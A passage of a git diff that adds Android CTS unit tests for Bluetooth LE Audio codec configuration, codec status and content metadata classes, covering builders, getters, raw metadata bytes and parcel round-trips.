+        if (mIsBroadcastAssistantSupported) {
+            boolean isBroadcastAssistantEnabledInConfig =
+                    TestUtils.isProfileEnabled(BluetoothProfile.LE_AUDIO_BROADCAST_ASSISTANT);
+            assertTrue("Config must be true when profile is supported",
+                    isBroadcastAssistantEnabledInConfig);
+        }
+
+        mIsBroadcastSourceSupported =
+                mAdapter.isLeAudioBroadcastSourceSupported() == FEATURE_SUPPORTED;
+        if (mIsBroadcastSourceSupported) {
+            boolean isBroadcastSourceEnabledInConfig =
+                    TestUtils.isProfileEnabled(BluetoothProfile.LE_AUDIO_BROADCAST);
+            assertTrue("Config must be true when profile is supported",
+                    isBroadcastSourceEnabledInConfig);
+        }
+    }
+
+    @After
+    public void tearDown() {
+        if (mHasBluetooth) {
+            if (mAdapter != null) {
+                assertTrue(BTAdapterUtils.disableAdapter(mAdapter, mContext));
+            }
+            mAdapter = null;
+            TestUtils.dropPermissionAsShellUid();
+        }
+    }
+
+    @Test
+    public void testCreateCodecConfigMetadataFromBuilder() {
+        if (shouldSkipTest()) {
+            return;
+        }
+        BluetoothLeAudioCodecConfigMetadata codecMetadata =
+                new BluetoothLeAudioCodecConfigMetadata.Builder()
+                        .setAudioLocation(TEST_AUDIO_LOCATION_FRONT_LEFT).build();
+        assertEquals(TEST_AUDIO_LOCATION_FRONT_LEFT, codecMetadata.getAudioLocation());
+        // TODO: Implement implicit LTV byte conversion in the API class
+        // assertArrayEquals(TEST_METADATA_BYTES, codecMetadata.getRawMetadata());
+    }
+
+    @Test
+    public void testCreateCodecConfigMetadataFromCopy() {
+        if (shouldSkipTest()) {
+            return;
+        }
+        BluetoothLeAudioCodecConfigMetadata codecMetadata =
+                new BluetoothLeAudioCodecConfigMetadata.Builder()
+                        .setAudioLocation(TEST_AUDIO_LOCATION_FRONT_LEFT).build();
+        BluetoothLeAudioCodecConfigMetadata codecMetadataCopy =
+                new BluetoothLeAudioCodecConfigMetadata.Builder(codecMetadata).build();
+        assertEquals(codecMetadata, codecMetadataCopy);
+        assertEquals(TEST_AUDIO_LOCATION_FRONT_LEFT, codecMetadataCopy.getAudioLocation());
+        assertArrayEquals(codecMetadata.getRawMetadata(), codecMetadataCopy.getRawMetadata());
+    }
+
+    @Test
+    public void testCreateCodecConfigMetadataFromBytes() {
+        if (shouldSkipTest()) {
+            return;
+        }
+        BluetoothLeAudioCodecConfigMetadata codecMetadata =
+                BluetoothLeAudioCodecConfigMetadata.fromRawBytes(TEST_METADATA_BYTES);
+        byte[] metadataBytes = codecMetadata.getRawMetadata();
+        assertNotNull(metadataBytes);
+        assertArrayEquals(TEST_METADATA_BYTES, metadataBytes);
+        assertEquals(TEST_AUDIO_LOCATION_FRONT_LEFT, codecMetadata.getAudioLocation());
+    }
+
+    private boolean shouldSkipTest() {
+        return !mHasBluetooth || (!mIsBroadcastSourceSupported && !mIsBroadcastAssistantSupported);
+    }
+}
diff --git a/tests/tests/bluetooth/src/android/bluetooth/cts/BluetoothLeAudioCodecStatusTest.java b/tests/tests/bluetooth/src/android/bluetooth/cts/BluetoothLeAudioCodecStatusTest.java
new file mode 100644
index 0000000..398d685
--- /dev/null
+++ b/tests/tests/bluetooth/src/android/bluetooth/cts/BluetoothLeAudioCodecStatusTest.java
@@ -0,0 +1,137 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.bluetooth.cts;
+
+import android.bluetooth.BluetoothLeAudioCodecConfig;
+import android.bluetooth.BluetoothLeAudioCodecStatus;
+import android.os.Parcel;
+import android.test.AndroidTestCase;
+
+import java.util.ArrayList;
+import java.util.List;
+
+public class BluetoothLeAudioCodecStatusTest extends AndroidTestCase {
+    private static final BluetoothLeAudioCodecConfig LC3_16KHZ_CONFIG =
+            new BluetoothLeAudioCodecConfig.Builder()
+                .setCodecType(BluetoothLeAudioCodecConfig.SOURCE_CODEC_TYPE_LC3)
+                .setSampleRate(BluetoothLeAudioCodecConfig.SAMPLE_RATE_16000)
+                .build();
+    private static final BluetoothLeAudioCodecConfig LC3_48KHZ_CONFIG =
+            new BluetoothLeAudioCodecConfig.Builder()
+                .setCodecType(BluetoothLeAudioCodecConfig.SOURCE_CODEC_TYPE_LC3)
+                .setSampleRate(BluetoothLeAudioCodecConfig.SAMPLE_RATE_48000)
+                .build();
+
+    private static final BluetoothLeAudioCodecConfig LC3_48KHZ_16KHZ_CONFIG =
+             new BluetoothLeAudioCodecConfig.Builder()
+               .setCodecType(BluetoothLeAudioCodecConfig.SOURCE_CODEC_TYPE_LC3)
+               .setSampleRate(BluetoothLeAudioCodecConfig.SAMPLE_RATE_48000
+                                | BluetoothLeAudioCodecConfig.SAMPLE_RATE_16000)
+               .build();
+    private static final List<BluetoothLeAudioCodecConfig> INPUT_CAPABILITIES_CONFIG =
+            new ArrayList() {{
+                    add(LC3_48KHZ_16KHZ_CONFIG);
+            }};
+
+    private static final List<BluetoothLeAudioCodecConfig> OUTPUT_CAPABILITIES_CONFIG =
+            new ArrayList() {{
+                    add(LC3_48KHZ_16KHZ_CONFIG);
+            }};
+
+    private static final List<BluetoothLeAudioCodecConfig> INPUT_SELECTABLE_CONFIG =
+            new ArrayList() {{
+                    add(LC3_16KHZ_CONFIG);
+            }};
+
+    private static final List<BluetoothLeAudioCodecConfig> OUTPUT_SELECTABLE_CONFIG =
+            new ArrayList() {{
+                    add(LC3_48KHZ_16KHZ_CONFIG);
+            }};
+
+    private static final BluetoothLeAudioCodecStatus LE_CODEC_STATUS =
+            new BluetoothLeAudioCodecStatus(LC3_16KHZ_CONFIG, LC3_48KHZ_CONFIG,
+                        INPUT_CAPABILITIES_CONFIG, OUTPUT_CAPABILITIES_CONFIG,
+                        INPUT_SELECTABLE_CONFIG, OUTPUT_SELECTABLE_CONFIG);
+
+    public void testGetInputCodecConfig() {
+        assertTrue(LE_CODEC_STATUS.getInputCodecConfig().equals(LC3_16KHZ_CONFIG));
+    }
+
+    public void testGetOutputCodecConfig() {
+        assertTrue(LE_CODEC_STATUS.getOutputCodecConfig().equals(LC3_48KHZ_CONFIG));
+    }
+
+    public void testGetInputCodecLocalCapabilities() {
+        assertTrue(
+                LE_CODEC_STATUS.getInputCodecLocalCapabilities()
+                                .equals(INPUT_CAPABILITIES_CONFIG));
+    }
+
+    public void testGetOutputCodecLocalCapabilities() {
+        assertTrue(
+                LE_CODEC_STATUS.getOutputCodecLocalCapabilities()
+                                .equals(OUTPUT_CAPABILITIES_CONFIG));
+    }
+
+    public void testGetInputCodecSelectableCapabilities() {
+        assertTrue(
+                LE_CODEC_STATUS.getInputCodecSelectableCapabilities()
+                        .equals(INPUT_SELECTABLE_CONFIG));
+    }
+
+    public void testGetOutputCodecSelectableCapabilities() {
+        assertTrue(
+                LE_CODEC_STATUS.getOutputCodecSelectableCapabilities()
+                        .equals(OUTPUT_SELECTABLE_CONFIG));
+    }
+
+    public void testIsInputCodecConfigSelectable() {
+        assertTrue(LE_CODEC_STATUS.isInputCodecConfigSelectable(LC3_16KHZ_CONFIG));
+        assertTrue(!(LE_CODEC_STATUS.isInputCodecConfigSelectable(LC3_48KHZ_CONFIG)));
+    }
+
+    public void testIsOutputCodecConfigSelectable() {
+        assertTrue(LE_CODEC_STATUS.isOutputCodecConfigSelectable(LC3_16KHZ_CONFIG));
+        assertTrue(LE_CODEC_STATUS.isOutputCodecConfigSelectable(LC3_48KHZ_CONFIG));
+    }
+
+    public void testDescribeContents() {
+        assertEquals(0, LE_CODEC_STATUS.describeContents());
+    }
+
+    public void testReadWriteParcel() {
+        Parcel parcel = Parcel.obtain();
+        LE_CODEC_STATUS.writeToParcel(parcel, 0);
+        parcel.setDataPosition(0);
+        BluetoothLeAudioCodecStatus codecStatusFromParcel =
+                BluetoothLeAudioCodecStatus.CREATOR.createFromParcel(parcel);
+        assertTrue(codecStatusFromParcel.getInputCodecConfig().equals(LC3_16KHZ_CONFIG));
+        assertTrue(codecStatusFromParcel.getOutputCodecConfig().equals(LC3_48KHZ_CONFIG));
+        assertTrue(
+                codecStatusFromParcel.getInputCodecLocalCapabilities()
+                                .equals(INPUT_CAPABILITIES_CONFIG));
+        assertTrue(
+                codecStatusFromParcel.getOutputCodecLocalCapabilities()
+                                .equals(OUTPUT_CAPABILITIES_CONFIG));
+        assertTrue(
+                codecStatusFromParcel.getInputCodecSelectableCapabilities()
+                                .equals(INPUT_SELECTABLE_CONFIG));
+        assertTrue(
+                codecStatusFromParcel.getOutputCodecSelectableCapabilities()
+                                .equals(OUTPUT_SELECTABLE_CONFIG));
+    }
+}
diff --git a/tests/tests/bluetooth/src/android/bluetooth/cts/BluetoothLeAudioCodecTest.java b/tests/tests/bluetooth/src/android/bluetooth/cts/BluetoothLeAudioCodecTest.java
new file mode 100644
index 0000000..be7c80b
--- /dev/null
+++ b/tests/tests/bluetooth/src/android/bluetooth/cts/BluetoothLeAudioCodecTest.java
@@ -0,0 +1,257 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.bluetooth.cts;
+
+import android.bluetooth.BluetoothLeAudioCodecConfig;
+import android.os.Parcel;
+import android.test.AndroidTestCase;
+
+public class BluetoothLeAudioCodecTest extends AndroidTestCase {
+    private int[] mCodecTypeArray = new int[] {
+        BluetoothLeAudioCodecConfig.SOURCE_CODEC_TYPE_LC3,
+        BluetoothLeAudioCodecConfig.SOURCE_CODEC_TYPE_INVALID,
+    };
+
+    private int[] mCodecPriorityArray = new int[] {
+        BluetoothLeAudioCodecConfig.CODEC_PRIORITY_DISABLED,
+        BluetoothLeAudioCodecConfig.CODEC_PRIORITY_DEFAULT,
+        BluetoothLeAudioCodecConfig.CODEC_PRIORITY_HIGHEST
+    };
+
+    private int[] mSampleRateArray = new int[] {
+        BluetoothLeAudioCodecConfig.SAMPLE_RATE_NONE,
+        BluetoothLeAudioCodecConfig.SAMPLE_RATE_8000,
+        BluetoothLeAudioCodecConfig.SAMPLE_RATE_16000,
+        BluetoothLeAudioCodecConfig.SAMPLE_RATE_24000,
+        BluetoothLeAudioCodecConfig.SAMPLE_RATE_32000,
+        BluetoothLeAudioCodecConfig.SAMPLE_RATE_44100,
+        BluetoothLeAudioCodecConfig.SAMPLE_RATE_48000
+    };
+
+    private int[] mBitsPerSampleArray = new int[] {
+        BluetoothLeAudioCodecConfig.BITS_PER_SAMPLE_NONE,
+        BluetoothLeAudioCodecConfig.BITS_PER_SAMPLE_16,
+        BluetoothLeAudioCodecConfig.BITS_PER_SAMPLE_24,
+        BluetoothLeAudioCodecConfig.BITS_PER_SAMPLE_32
+    };
+
+    private int[] mChannelCountArray = new int[] {
+        BluetoothLeAudioCodecConfig.CHANNEL_COUNT_NONE,
+        BluetoothLeAudioCodecConfig.CHANNEL_COUNT_1,
+        BluetoothLeAudioCodecConfig.CHANNEL_COUNT_2
+    };
+
+    private int[] mFrameDurationArray = new int[] {
+        BluetoothLeAudioCodecConfig.FRAME_DURATION_NONE,
+        BluetoothLeAudioCodecConfig.FRAME_DURATION_7500,
+        BluetoothLeAudioCodecConfig.FRAME_DURATION_10000
+    };
+
+    public void testGetCodecNameAndType() {
+        try {
+            for (int codecIdx = 0; codecIdx < mCodecTypeArray.length; codecIdx++) {
+                int codecType = mCodecTypeArray[codecIdx];
+
+                BluetoothLeAudioCodecConfig leAudioCodecConfig =
+                        new BluetoothLeAudioCodecConfig.Builder()
+                            .setCodecType(codecType)
+                            .build();
+
+                if (codecType == BluetoothLeAudioCodecConfig.SOURCE_CODEC_TYPE_LC3) {
+                    assertEquals("LC3", leAudioCodecConfig.getCodecName());
+                }
+                if (codecType == BluetoothLeAudioCodecConfig.SOURCE_CODEC_TYPE_INVALID) {
+                    assertEquals("INVALID CODEC", leAudioCodecConfig.getCodecName());
+                }
+
+                assertEquals(codecType, leAudioCodecConfig.getCodecType());
+            }
+        } catch (Exception e) {
+            fail(e.getMessage());
+        }
+    }
+
+    public void testGetCodecPriority() {
+        for (int priorityIdx = 0; priorityIdx < mCodecPriorityArray.length; priorityIdx++) {
+            int codecPriority = mCodecPriorityArray[priorityIdx];
+
+            BluetoothLeAudioCodecConfig leAudioCodecConfig =
+                    new BluetoothLeAudioCodecConfig.Builder()
+                        .setCodecPriority(codecPriority)
+                        .build();
+
+            assertEquals(codecPriority, leAudioCodecConfig.getCodecPriority());
+        }
+    }
+
+    public void testGetSampleRate() {
+        for (int sampleRateIdx = 0; sampleRateIdx < mSampleRateArray.length; sampleRateIdx++) {
+            int sampleRate = mSampleRateArray[sampleRateIdx];
+
+            BluetoothLeAudioCodecConfig leAudioCodecConfig =
+                    new BluetoothLeAudioCodecConfig.Builder()
+                        .setSampleRate(sampleRate)
+                        .build();
+
+            assertEquals(sampleRate, leAudioCodecConfig.getSampleRate());
+        }
+    }
+
+    public void testGetBitsPerSample() {
+        for (int bitsPerSampleIdx = 0; bitsPerSampleIdx < mBitsPerSampleArray.length;
+                bitsPerSampleIdx++) {
+            int bitsPerSample = mBitsPerSampleArray[bitsPerSampleIdx];
+
+            BluetoothLeAudioCodecConfig leAudioCodecConfig =
+                    new BluetoothLeAudioCodecConfig.Builder()
+                        .setBitsPerSample(bitsPerSampleIdx)
+                        .build();
+
+            assertEquals(bitsPerSampleIdx, leAudioCodecConfig.getBitsPerSample());
+        }
+    }
+
+    public void testGetChannelCount() {
+        for (int channelCountIdx = 0; channelCountIdx < mChannelCountArray.length;
+                channelCountIdx++) {
+            int channelCount = mChannelCountArray[channelCountIdx];
+
+            BluetoothLeAudioCodecConfig leAudioCodecConfig =
+                    new BluetoothLeAudioCodecConfig.Builder()
+                        .setChannelCount(channelCount)
+                        .build();
+
+            assertEquals(channelCount, leAudioCodecConfig.getChannelCount());
+        }
+    }
+
+    public void testGetFrameDuration() {
+        for (int frameDurationIdx = 0; frameDurationIdx < mFrameDurationArray.length;
+                frameDurationIdx++) {
+            int frameDuration = mFrameDurationArray[frameDurationIdx];
+
+            BluetoothLeAudioCodecConfig leAudioCodecConfig =
+                    new BluetoothLeAudioCodecConfig.Builder()
+                        .setFrameDuration(frameDurationIdx)
+                        .build();
+
+            assertEquals(frameDuration, leAudioCodecConfig.getFrameDuration());
+        }
+    }
+
+    public void testGetOctetsPerFrame() {
+        final int octetsPerFrame = 100;
+        BluetoothLeAudioCodecConfig leAudioCodecConfig =
+                new BluetoothLeAudioCodecConfig.Builder()
+                    .setOctetsPerFrame(octetsPerFrame)
+                    .build();
+
+        assertEquals(octetsPerFrame, leAudioCodecConfig.getOctetsPerFrame());
+    }
+
+    public void testGetMinOctetsPerFrame() {
+        final int minOctetsPerFrame = 100;
+        BluetoothLeAudioCodecConfig leAudioCodecConfig =
+                new BluetoothLeAudioCodecConfig.Builder()
+                    .setMinOctetsPerFrame(minOctetsPerFrame)
+                    .build();
+
+        assertEquals(minOctetsPerFrame, leAudioCodecConfig.getMinOctetsPerFrame());
+    }
+
+    public void testGetMaxOctetsPerFrame() {
+        final int maxOctetsPerFrame = 100;
+        BluetoothLeAudioCodecConfig leAudioCodecConfig =
+                new BluetoothLeAudioCodecConfig.Builder()
+                    .setMaxOctetsPerFrame(maxOctetsPerFrame)
+                    .build();
+
+        assertEquals(maxOctetsPerFrame, leAudioCodecConfig.getMaxOctetsPerFrame());
+    }
+
+    public void testDescribeContents() {
+        BluetoothLeAudioCodecConfig leAudioCodecConfig =
+            new BluetoothLeAudioCodecConfig.Builder().build();
+        assertEquals(0, leAudioCodecConfig.describeContents());
+    }
+
+    public void testReadWriteParcel() {
+        final int octetsPerFrame = 100;
+        Parcel parcel = Parcel.obtain();
+        BluetoothLeAudioCodecConfig leAudioCodecConfig = new BluetoothLeAudioCodecConfig.Builder()
+                .setCodecType(BluetoothLeAudioCodecConfig.SOURCE_CODEC_TYPE_LC3)
+                .setCodecPriority(BluetoothLeAudioCodecConfig.CODEC_PRIORITY_HIGHEST)
+                .setSampleRate(BluetoothLeAudioCodecConfig.SAMPLE_RATE_24000)
+                .setBitsPerSample(BluetoothLeAudioCodecConfig.BITS_PER_SAMPLE_24)
+                .setChannelCount(BluetoothLeAudioCodecConfig.CHANNEL_COUNT_2)
+                .setFrameDuration(BluetoothLeAudioCodecConfig.FRAME_DURATION_7500)
+                .setOctetsPerFrame(octetsPerFrame)
+                .build();
+        leAudioCodecConfig.writeToParcel(parcel, 0);
+        parcel.setDataPosition(0);
+        BluetoothLeAudioCodecConfig leAudioCodecConfigFromParcel =
+                BluetoothLeAudioCodecConfig.CREATOR.createFromParcel(parcel);
+        assertEquals(BluetoothLeAudioCodecConfig.SOURCE_CODEC_TYPE_LC3,
+                leAudioCodecConfigFromParcel.getCodecType());
+        assertEquals(BluetoothLeAudioCodecConfig.CODEC_PRIORITY_HIGHEST,
+                leAudioCodecConfigFromParcel.getCodecPriority());
+        assertEquals(BluetoothLeAudioCodecConfig.SAMPLE_RATE_24000,
+                leAudioCodecConfigFromParcel.getSampleRate());
+        assertEquals(BluetoothLeAudioCodecConfig.BITS_PER_SAMPLE_24,
+                leAudioCodecConfigFromParcel.getBitsPerSample());
+        assertEquals(BluetoothLeAudioCodecConfig.CHANNEL_COUNT_2,
+                leAudioCodecConfigFromParcel.getChannelCount());
+        assertEquals(BluetoothLeAudioCodecConfig.FRAME_DURATION_7500,
+                leAudioCodecConfigFromParcel.getFrameDuration());
+        assertEquals(octetsPerFrame, leAudioCodecConfigFromParcel.getOctetsPerFrame());
+    }
+
+    public void testBuilderWithExistingObject() {
+        final int octetsPerFrame = 100;
+        final int minOctectsPerFrame = 50;
+        final int maxOctectsPerFrame = 150;
+        BluetoothLeAudioCodecConfig oriLeAudioCodecConfig =
+            new BluetoothLeAudioCodecConfig.Builder()
+                .setCodecType(BluetoothLeAudioCodecConfig.SOURCE_CODEC_TYPE_LC3)
+                .setCodecPriority(BluetoothLeAudioCodecConfig.CODEC_PRIORITY_HIGHEST)
+                .setSampleRate(BluetoothLeAudioCodecConfig.SAMPLE_RATE_24000)
+                .setBitsPerSample(BluetoothLeAudioCodecConfig.BITS_PER_SAMPLE_24)
+                .setChannelCount(BluetoothLeAudioCodecConfig.CHANNEL_COUNT_2)
+                .setFrameDuration(BluetoothLeAudioCodecConfig.FRAME_DURATION_7500)
+                .setOctetsPerFrame(octetsPerFrame)
+                .setMinOctetsPerFrame(minOctectsPerFrame)
+                .setMaxOctetsPerFrame(maxOctectsPerFrame)
+                .build();
+        BluetoothLeAudioCodecConfig toBuilderCodecConfig =
+                new BluetoothLeAudioCodecConfig.Builder(oriLeAudioCodecConfig).build();
+        assertEquals(BluetoothLeAudioCodecConfig.SOURCE_CODEC_TYPE_LC3,
+                toBuilderCodecConfig.getCodecType());
+        assertEquals(BluetoothLeAudioCodecConfig.CODEC_PRIORITY_HIGHEST,
+                toBuilderCodecConfig.getCodecPriority());
+        assertEquals(BluetoothLeAudioCodecConfig.SAMPLE_RATE_24000,
+                toBuilderCodecConfig.getSampleRate());
+        assertEquals(BluetoothLeAudioCodecConfig.BITS_PER_SAMPLE_24,
+                toBuilderCodecConfig.getBitsPerSample());
+        assertEquals(BluetoothLeAudioCodecConfig.CHANNEL_COUNT_2,
+                toBuilderCodecConfig.getChannelCount());
+        assertEquals(BluetoothLeAudioCodecConfig.FRAME_DURATION_7500,
+                toBuilderCodecConfig.getFrameDuration());
+        assertEquals(octetsPerFrame, toBuilderCodecConfig.getOctetsPerFrame());
+        assertEquals(minOctectsPerFrame, toBuilderCodecConfig.getMinOctetsPerFrame());
+        assertEquals(maxOctectsPerFrame, toBuilderCodecConfig.getMaxOctetsPerFrame());
+    }
+}
diff --git a/tests/tests/bluetooth/src/android/bluetooth/cts/BluetoothLeAudioContentMetadataTest.java b/tests/tests/bluetooth/src/android/bluetooth/cts/BluetoothLeAudioContentMetadataTest.java
new file mode 100644
index 0000000..ccf7fdb
--- /dev/null
+++ b/tests/tests/bluetooth/src/android/bluetooth/cts/BluetoothLeAudioContentMetadataTest.java
@@ -0,0 +1,155 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.bluetooth.cts;
+
+import static android.Manifest.permission.BLUETOOTH_CONNECT;
+import static android.bluetooth.BluetoothStatusCodes.FEATURE_SUPPORTED;
+
+import static org.junit.Assert.assertArrayEquals;
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertTrue;
+
+import android.bluetooth.BluetoothAdapter;
+import android.bluetooth.BluetoothLeAudioContentMetadata;
+import android.bluetooth.BluetoothProfile;
+import android.content.Context;
+import android.os.Build;
+
+import androidx.test.ext.junit.runners.AndroidJUnit4;
+import androidx.test.filters.SmallTest;
+import androidx.test.platform.app.InstrumentationRegistry;
+
+import com.android.compatibility.common.util.ApiLevelUtil;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(AndroidJUnit4.class)
+@SmallTest
+public class BluetoothLeAudioContentMetadataTest {
+    // "Test" in UTF-8 is "54 65 73 74"
+    private static final String TEST_PROGRAM_INFO = "Test";
+    // German language code in ISO 639-3
+    // In byte it is ASCII, 0x64, 0x65, 0x75
+    private static final String TEST_LANGUAGE = "deu";
+    // See Page 6 of Generic Audio assigned number specification
+    private static final byte[] TEST_METADATA_BYTES = {
+            // length is 0x05, type is 0x03, data is "Test" in UTF-8 "54 65 73 74" hex
+            0x05, 0x03, 0x54, 0x65, 0x73, 0x74,
+            // length is 0x04, type is 0x04, data is "deu" in ASCII "64 65 75" hex
+            0x04, 0x04, 0x64, 0x65, 0x75
+    };
+
+    private Context mContext;
+    private boolean mHasBluetooth;
+    private BluetoothAdapter mAdapter;
+    private boolean mIsBroadcastSourceSupported;
+    private boolean mIsBroadcastAssistantSupported;
+
+    @Before
+    public void setUp() {
+        mContext = InstrumentationRegistry.getInstrumentation().getContext();
+        if (!ApiLevelUtil.isAtLeast(Build.VERSION_CODES.TIRAMISU)) {
+            return;
+        }
+        mHasBluetooth = TestUtils.hasBluetooth();
+        if (!mHasBluetooth) {
+            return;
+        }
+        TestUtils.adoptPermissionAsShellUid(BLUETOOTH_CONNECT);
+        mAdapter = TestUtils.getBluetoothAdapterOrDie();
+        assertTrue(BTAdapterUtils.enableAdapter(mAdapter, mContext));
+
+        mIsBroadcastAssistantSupported =
+                mAdapter.isLeAudioBroadcastAssistantSupported() == FEATURE_SUPPORTED;
+        if (mIsBroadcastAssistantSupported) {
+            boolean isBroadcastAssistantEnabledInConfig =
+                    TestUtils.isProfileEnabled(BluetoothProfile.LE_AUDIO_BROADCAST_ASSISTANT);
+            assertTrue("Config must be true when profile is supported",
+                    isBroadcastAssistantEnabledInConfig);
+        }
+
+        mIsBroadcastSourceSupported =
+                mAdapter.isLeAudioBroadcastSourceSupported() == FEATURE_SUPPORTED;
+        if (mIsBroadcastSourceSupported) {
+            boolean isBroadcastSourceEnabledInConfig =
+                    TestUtils.isProfileEnabled(BluetoothProfile.LE_AUDIO_BROADCAST_ASSISTANT);
+            assertTrue("Config must be true when profile is supported",
+                    isBroadcastSourceEnabledInConfig);
+        }
+    }
+
+    @After
+    public void tearDown() {
+        if (mHasBluetooth) {
+            if (mAdapter != null) {
+                assertTrue(BTAdapterUtils.disableAdapter(mAdapter, mContext));
+            }
+            mAdapter = null;
+            TestUtils.dropPermissionAsShellUid();
+        }
+    }
+
+    @Test
+    public void testCreateContentMetadataFromBuilder() {
+        if (shouldSkipTest()) {
+            return;
+        }
+        BluetoothLeAudioContentMetadata contentMetadata =
+                new BluetoothLeAudioContentMetadata.Builder()
+                        .setProgramInfo(TEST_PROGRAM_INFO).setLanguage(TEST_LANGUAGE).build();
+        assertEquals(TEST_PROGRAM_INFO, contentMetadata.getProgramInfo());
+        assertEquals(TEST_LANGUAGE, contentMetadata.getLanguage());
+        assertArrayEquals(TEST_METADATA_BYTES, contentMetadata.getRawMetadata());
+    }
+
+    @Test
+    public void testCreateContentMetadataFromCopy() {
+        if (shouldSkipTest()) {
+            return;
+        }
+        BluetoothLeAudioContentMetadata contentMetadata =
+                new BluetoothLeAudioContentMetadata.Builder()
+                        .setProgramInfo(TEST_PROGRAM_INFO).setLanguage(TEST_LANGUAGE).build();
+        BluetoothLeAudioContentMetadata contentMetadataCopy =
+                new BluetoothLeAudioContentMetadata.Builder(contentMetadata).build();
+        assertEquals(TEST_PROGRAM_INFO, contentMetadataCopy.getProgramInfo());
+        assertEquals(TEST_LANGUAGE, contentMetadataCopy.getLanguage());
+        assertArrayEquals(TEST_METADATA_BYTES, contentMetadataCopy.getRawMetadata());
+    }
+
+    @Test
+    public void testCreateContentMetadataFromBytes() {
+        if (shouldSkipTest()) {
+            return;
+        }
+        BluetoothLeAudioContentMetadata contentMetadata =
+                BluetoothLeAudioContentMetadata.fromRawBytes(TEST_METADATA_BYTES);
+        byte[] metadataBytes = contentMetadata.getRawMetadata();
+        assertNotNull(metadataBytes);
+        assertArrayEquals(TEST_METADATA_BYTES, metadataBytes);
+        assertEquals(TEST_PROGRAM_INFO, contentMetadata.getProgramInfo());
+        assertEquals(TEST_LANGUAGE, contentMetadata.getLanguage());
+    }
+
+    private boolean shouldSkipTest() {
+        return !mHasBluetooth || (!mIsBroadcastSourceSupported && !mIsBroadcastAssistantSupported);
+    }
+}
diff --git a/tests/tests/bluetooth/src/android/bluetooth/cts/BluetoothLeAudioTest.java b/tests/tests/bluetooth/src/android/bluetooth/cts/BluetoothLeAudioTest.java
index 24bcafb..9a9f2db 100644
--- a/tests/tests/bluetooth/src/android/bluetooth/cts/BluetoothLeAudioTest.java
+++ b/tests/tests/bluetooth/src/android/bluetooth/cts/BluetoothLeAudioTest.java
@@ -16,20 +16,30 @@
 
 package android.bluetooth.cts;
 
+import static android.Manifest.permission.BLUETOOTH_CONNECT;
+import static android.Manifest.permission.BLUETOOTH_PRIVILEGED;
+
+import static org.junit.Assert.assertThrows;
+
 import android.bluetooth.BluetoothAdapter;
 import android.bluetooth.BluetoothDevice;
 import android.bluetooth.BluetoothLeAudio;
+import android.bluetooth.BluetoothLeAudioCodecConfig;
+import android.bluetooth.BluetoothLeAudioCodecStatus;
 import android.bluetooth.BluetoothManager;
 import android.bluetooth.BluetoothProfile;
+import android.bluetooth.BluetoothStatusCodes;
 import android.content.pm.PackageManager;
-import android.content.res.Resources;
 import android.os.Build;
 import android.test.AndroidTestCase;
 import android.util.Log;
 
 import com.android.compatibility.common.util.ApiLevelUtil;
+import com.android.compatibility.common.util.CddTest;
 
+import java.util.ArrayList;
 import java.util.List;
+import java.util.concurrent.Executor;
 import java.util.concurrent.TimeUnit;
 import java.util.concurrent.locks.Condition;
 import java.util.concurrent.locks.ReentrantLock;
@@ -38,8 +48,6 @@
     private static final String TAG = BluetoothLeAudioTest.class.getSimpleName();
 
     private static final int PROXY_CONNECTION_TIMEOUT_MS = 500;  // ms timeout for Proxy Connect
-    private static final String PROFILE_SUPPORTED_LE_AUDIO = "profile_supported_leaudio";
-    private static final int LE_AUDIO_PROFILE_CONSTANT = 22;
 
     private boolean mHasBluetooth;
     private BluetoothAdapter mAdapter;
@@ -49,15 +57,70 @@
     private boolean mIsProfileReady;
     private Condition mConditionProfileIsConnected;
     private ReentrantLock mProfileConnectedlock;
+    private Executor mTestExecutor;
+    private TestCallback mTestCallback;
+    private boolean mCodecConfigChangedCalled;
+    private boolean mGroupNodeAddedCalled;
+    private boolean mGroupNodeRemovedCalled;
+    private boolean mGroupStatusChangedCalled;
+    private BluetoothDevice mTestDevice;
+    private int mTestGroupId;
+    private int mTestGroupStatus;
+
+    private static final BluetoothLeAudioCodecConfig LC3_16KHZ_CONFIG =
+            new BluetoothLeAudioCodecConfig.Builder()
+                    .setCodecType(BluetoothLeAudioCodecConfig.SOURCE_CODEC_TYPE_LC3)
+                    .setSampleRate(BluetoothLeAudioCodecConfig.SAMPLE_RATE_16000)
+                    .build();
+
+    private static final List<BluetoothLeAudioCodecConfig> TEST_CODEC_CAPA_CONFIG =
+            new ArrayList() {{
+                add(LC3_16KHZ_CONFIG);
+            }};
+
+    private static final BluetoothLeAudioCodecStatus TEST_CODEC_STATUS =
+            new BluetoothLeAudioCodecStatus(LC3_16KHZ_CONFIG, LC3_16KHZ_CONFIG,
+                    TEST_CODEC_CAPA_CONFIG, TEST_CODEC_CAPA_CONFIG,
+                    TEST_CODEC_CAPA_CONFIG, TEST_CODEC_CAPA_CONFIG);
+
+    class TestCallback implements BluetoothLeAudio.Callback {
+        @Override
